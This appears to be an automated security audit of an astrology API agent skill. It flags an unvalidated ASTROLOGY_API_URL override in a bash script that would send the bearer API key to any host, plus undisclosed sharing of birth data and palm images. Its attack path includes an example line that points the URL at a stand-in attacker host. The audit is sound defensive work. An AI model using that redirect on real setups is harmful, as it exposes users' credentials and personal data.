Back to skill

Security audit

Astrology API

Security checks for vulnerabilities and agentic risk

Overview

The skill is a coherent astrology API helper, but it under-discloses sensitive data sharing and has an unsafe API URL override that could expose the user’s API key and request data.

Review this skill before installing. It is not showing evidence of malware or local persistence, but using it can send precise personal birth details, relationship data, sensitive question topics, and palm images to a third-party astrology API. Only use it with data you are comfortable sharing, avoid unnecessary names/emails/free-form notes, and do not set ASTROLOGY_API_URL unless you fully trust the destination because the script will send your API key there.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (1)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/astro-api.sh:16
Finding
Unvalidated API Base URL Can Expose Bearer Credentials and Personal Data## Vulnerability Details **File Location**: `scripts/astro-api.sh`, lines 16 and 37–49 **Vulnerability Type**: Unvalidated credential-bearing request destination **Risk Level**: High ### Vulnerable Code ```bash BASE_URL="${ASTROLOGY_API_URL:-https://api.astrology-api.io}" ``` ```bash if [ "$METHOD" = "GET" ]; then curl -s -X GET "${BASE_URL}${ENDPOINT}" \ -H "Authorization: Bearer ${ASTROLOGY_API_KEY}" \ -H "Accept: application/json" elif [ "$METHOD" = "POST" ]; then if [ -z "$BODY" ]; then echo "Error: POST requests require a JSON body as the third argument." >&2 exit 1 fi curl -s -X POST "${BASE_URL}${ENDPOINT}" \ -H "Authorization: Bearer ${ASTROLOGY_API_KEY}" \ -H "Content-Type: application/json" \ -H "Accept: application/json" \ -d "$BODY" ``` ### Technical Analysis The script obtains the request destination from the environment-controlled `ASTROLOGY_API_URL` variable without validating its scheme, hostname, port, or authority. It then transmits `ASTROLOGY_API_KEY` in an `Authorization` header to that destination. Consequently, an attacker who can influence the script's environment can redirect authenticated requests to an attacker-controlled server. The override also accepts plaintext HTTP, allowing the bearer token and request body to be intercepted by a network attacker. POST bodies may contain names, dates and times of birth, geographic locations, personal questions, relationship information, or palm images. Therefore, destination manipulation can expose both the API credential and sensitive user-provided data. ### Attack Path 1. An attacker, compromised launcher, environment file, or parent process sets: ```bash export ASTROLOGY_API_URL="http://attacker.example" ``` 2. The user or agent invokes the documented wrapper with a valid `ASTROLOGY_API_KEY`. 3. The script concatenates the attacker-controlled base URL with the requested endpoint. 4. `curl` sends the bearer credential in the `Authorizati ...[truncated 909 chars]
Remediation
## Remediation Suggestions 1. Remove the `ASTROLOGY_API_URL` override if alternate API hosts are not a required feature: ```bash readonly BASE_URL="https://api.astrology-api.io" ``` 2. If an override is operationally necessary, parse and validate it before sending credentials. Require: - The `https` scheme. - The exact approved hostname. - No embedded username or password. - No unapproved port. - No fragment or unexpected path component. - Rejection by default when parsing or validation fails. 3. Harden `curl` transport behavior: ```bash curl --fail-with-body --show-error --silent \ --proto '=https' \ --proto-redir '=https' \ --max-redirs 0 \ ... ``` Keep redirects disabled for authenticated requests unless there is a documented requirement. If redirects are enabled, validate every destination and ensure credentials cannot be forwarded to another origin. 4. Consider separating development or test credentials from production credentials if custom endpoints are needed. Require explicit opt-in for non-production operation and never send production bearer tokens to development hosts. 5. Avoid logging request headers or bodies, document the sensitivity of astrology input data, and rotate `ASTROLOGY_API_KEY` immediately if redirection or interception is suspected. 6. Add automated tests confirming that HTTP URLs, unapproved domains, embedded credentials, alternate ports, malformed hosts, and redirect responses are rejected before any authenticated request is issued.
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
Findings (15)

Missing User Warnings

High
Confidence
97% confidence
Finding
The skill instructs the agent to collect highly sensitive personal data such as full birth date, exact birth time, city, country, and names, then transmit it to an external API, but it does not require an explicit user warning or consent step beforehand. This creates a meaningful privacy risk because users may not realize their personal data is being sent off-platform, and birth data can be sensitive and uniquely identifying when combined.

Missing User Warnings

High
Confidence
96% confidence
Finding
The palmistry endpoints accept image_url or image_base64 hand images, which constitute sensitive biometric-style data, yet the documentation lacks any warning about consent, storage, logging, third-party transfer, or image security. Because this skill is designed to encourage image submission for analysis, users may unknowingly send uniquely identifying body imagery without understanding the privacy risk.

Lp1

High
Category
MCP Least Privilege
Confidence
95% confidence
Finding
The script has shell capability because it is a bash program that accepts arguments and invokes curl. Even if the intended use is legitimate, undeclared shell access increases risk by allowing command execution paths that are not visible in the declared permission set, reducing transparency and weakening defense-in-depth.

Lp1

High
Category
MCP Least Privilege
Confidence
95% confidence
Finding
The script has shell capability because it is a bash program that accepts arguments and invokes curl. Even if the intended use is legitimate, undeclared shell access increases risk by allowing command execution paths that are not visible in the declared permission set, reducing transparency and weakening defense-in-depth.

External Transmission

Medium
Category
Data Exfiltration
Content
# Astrology API Skill

[![Get API Key](https://img.shields.io/badge/Get%20API%20Key-6C63FF?style=for-the-badge&logoColor=white)](https://dashboard.astrology-api.io/)
[![API Documentation](https://img.shields.io/badge/API%20Documentation-FCC624?style=for-the-badge&logoColor=black)](https://api.astrology-api.io/rapidoc)
[![Postman Collection](https://img.shields.io/badge/Postman%20Collection-FF6C37?style=for-the-badge&logo=postman&logoColor=white)](https://api.astrology-api.io/best-astrology-api-postman.json)
Confidence
50% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

External Transmission

Medium
Category
Data Exfiltration
Content
# Astrology API Skill

[![Get API Key](https://img.shields.io/badge/Get%20API%20Key-6C63FF?style=for-the-badge&logoColor=white)](https://dashboard.astrology-api.io/)
[![API Documentation](https://img.shields.io/badge/API%20Documentation-FCC624?style=for-the-badge&logoColor=black)](https://api.astrology-api.io/rapidoc)
[![Postman Collection](https://img.shields.io/badge/Postman%20Collection-FF6C37?style=for-the-badge&logo=postman&logoColor=white)](https://api.astrology-api.io/best-astrology-api-postman.json)
Confidence
50% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

External Transmission

Medium
Category
Data Exfiltration
Content
# Astrology API Skill

[![Get API Key](https://img.shields.io/badge/Get%20API%20Key-6C63FF?style=for-the-badge&logoColor=white)](https://dashboard.astrology-api.io/)
[![API Documentation](https://img.shields.io/badge/API%20Documentation-FCC624?style=for-the-badge&logoColor=black)](https://api.astrology-api.io/rapidoc)
[![Postman Collection](https://img.shields.io/badge/Postman%20Collection-FF6C37?style=for-the-badge&logo=postman&logoColor=white)](https://api.astrology-api.io/best-astrology-api-postman.json)
Confidence
50% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

External Transmission

Medium
Category
Data Exfiltration
Content
# Astrology API Skill

[![Get API Key](https://img.shields.io/badge/Get%20API%20Key-6C63FF?style=for-the-badge&logoColor=white)](https://dashboard.astrology-api.io/)
[![API Documentation](https://img.shields.io/badge/API%20Documentation-FCC624?style=for-the-badge&logoColor=black)](https://api.astrology-api.io/rapidoc)
[![Postman Collection](https://img.shields.io/badge/Postman%20Collection-FF6C37?style=for-the-badge&logo=postman&logoColor=white)](https://api.astrology-api.io/best-astrology-api-postman.json)
Confidence
50% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

External Transmission

Medium
Category
Data Exfiltration
Content
# Astrology API Skill

[![Get API Key](https://img.shields.io/badge/Get%20API%20Key-6C63FF?style=for-the-badge&logoColor=white)](https://dashboard.astrology-api.io/)
[![API Documentation](https://img.shields.io/badge/API%20Documentation-FCC624?style=for-the-badge&logoColor=black)](https://api.astrology-api.io/rapidoc)
[![Postman Collection](https://img.shields.io/badge/Postman%20Collection-FF6C37?style=for-the-badge&logo=postman&logoColor=white)](https://api.astrology-api.io/best-astrology-api-postman.json)
Confidence
50% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Missing User Warnings

Medium
Confidence
95% confidence
Finding
The README shows sending highly sensitive personal birth data, including exact date, time, and location, to a third-party API without any privacy notice, consent guidance, or data-handling disclosure. In the context of an agent skill, this omission increases the risk that agents or users will transmit sensitive data by default without understanding where it goes or how it is processed.

Vague Triggers

Medium
Confidence
95% confidence
Finding
The trigger description is unusually broad for a skill that sends requests to an external astrology service, including vague categories like compatibility, moon phases, career, health, spiritual, and psychological analysis. Overbroad routing can cause the agent to invoke this skill for loosely related user queries and unnecessarily disclose user content or personal details to a third-party API.

Missing User Warnings

Medium
Confidence
93% confidence
Finding
The endpoint reference documents collection of highly sensitive personal data such as full birth date/time, location, email, and notes, but provides no privacy, retention, consent, or secure-handling guidance. In an astrology skill context, these fields are core inputs, so omission of handling warnings can lead downstream integrators to transmit or store personal data without adequate safeguards or user notice.

Missing User Warnings

Medium
Confidence
90% confidence
Finding
This reference file directs the agent to many POST endpoints that commonly require birth date, birth time, birthplace, relationship details, and other highly sensitive personal data, but it provides no warning that this information will be transmitted to an external service. In a skill explicitly handling intimate profile, relationship, health-tendency, fertility, and financial-timing queries, omission of disclosure and minimization guidance increases the risk of privacy harm, overcollection, and uninformed sharing.

External Transmission

Medium
Category
Data Exfiltration
Content
BODY="${3:-}"

if [ "$METHOD" = "GET" ]; then
  curl -s -X GET "${BASE_URL}${ENDPOINT}" \
    -H "Authorization: Bearer ${ASTROLOGY_API_KEY}" \
    -H "Accept: application/json"
elif [ "$METHOD" = "POST" ]; then
Confidence
88% confidence
Finding
The script sends data and an Authorization bearer token to an external service, and both the endpoint path and optional POST body are caller-controlled. In an astrology skill, external API communication is expected, but this is still security-sensitive because a user or downstream component could cause unintended data transmission or abuse if the base URL is overridden or inputs are not restricted.

Natural-Language Policy Violations

Low
Confidence
86% confidence
Finding
The example payload sets "language": "EN", which can be read as a default language constraint in the skill's natural-language-facing usage guidance. The policy allows locale constraints only when users are given a choice or the limitation is clearly documented and justified, which is not present here.

Static analysis

No suspicious patterns detected.